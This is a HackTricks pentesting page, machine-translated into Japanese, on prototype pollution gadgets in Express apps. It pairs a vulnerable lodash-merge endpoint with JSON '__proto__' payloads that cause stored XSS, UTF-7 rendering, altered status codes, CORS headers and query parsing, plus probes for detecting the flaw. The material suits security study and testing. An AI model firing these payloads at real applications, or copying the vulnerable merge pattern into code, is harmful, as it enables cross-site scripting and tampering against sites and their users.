Express Prototype Pollution Gadgets

Support HackTricks

XSSレスポンスを提供する

詳細については 元の研究を参照してください

JSONコンテンツタイプをHTMLに変更する

JSONコンテンツタイプレスポンスを使用し、JSONを反映するExpressアプリで:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

これらのケースでは、JSONコンテンツタイプでは通常XSSは不可能です。しかし、プロトタイプ汚染を利用することで、Expressを混乱させてHTMLレスポンスを提供させることができます。 この脆弱性は、アプリケーションが**res.send(obj)**を使用し、application/jsonコンテンツタイプでボディパーサーを使用することに依存しています。

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body_body プロパティを 汚染 することで、ExpressがHTMLコンテンツタイプを提供し、 _body プロパティを反映させることが可能になり、結果として保存されたXSSが発生します。

UTF7をレンダリング

Expressが UTF-7コンテンツをレンダリングする ことが可能です:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

安全なスキャン技術

JSONスペース

次のPPは、JSON内の属性に余分なスペースを追加し、機能を壊さないようにします:

{"__proto__":{"json spaces": " "}}

次のような反射されたJSONになります:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

次のPPガジェットは、サーバーがHTTPヘッダーを返すようにします: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

CORSモジュールをインストールする必要があります

OPTIONSメソッド

次のペイロードを使用すると、OPTIONSレスポンスからメソッドを隠すことが可能です:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

ステータス

次のPPペイロードを使用して、返されたステータスコードを変更することが可能です:

{"__proto__":{"status":510}}

エラー

文字列のようなプリミティブをプロトタイプに割り当てると、プロトタイプはオブジェクトでなければならないため、何もしない操作が生成されます。プロトタイプオブジェクトをObject.prototype自体に割り当てようとすると、例外がスローされます。これらの2つの動作を使用して、プロトタイプ汚染が成功したかどうかを検出できます

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Reflected Value

アプリケーションがレスポンスにオブジェクトを含めるとき、__proto__と一緒に異常な名前の属性を作成することは有益です。特に、異常な属性のみがレスポンスに返される場合、これはアプリケーションの脆弱性を示している可能性があります:

{"unusualName":"value","__proto__":"test"}

さらに、Lodashのようなライブラリが使用されるシナリオでは、プロトタイプ汚染(PP)を介してプロパティを設定することと、オブジェクト内で直接設定することが、別の診断アプローチを提供します。そのようなプロパティがレスポンスから省略されている場合、Lodashがマージする前にターゲットオブジェクト内のプロパティの存在を確認していることを示唆しています。

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Expressには、クエリ文字列パラメータからオブジェクトを作成するオプションがあります。 これは、プロトタイプ汚染の脆弱性を悪用するバグチェーンで確実に使用できます。

{"__proto__":{"allowDots":true}}

?foo.bar=baz はNodeでオブジェクトを作成します。

参考文献

HackTricksをサポートする

Last updated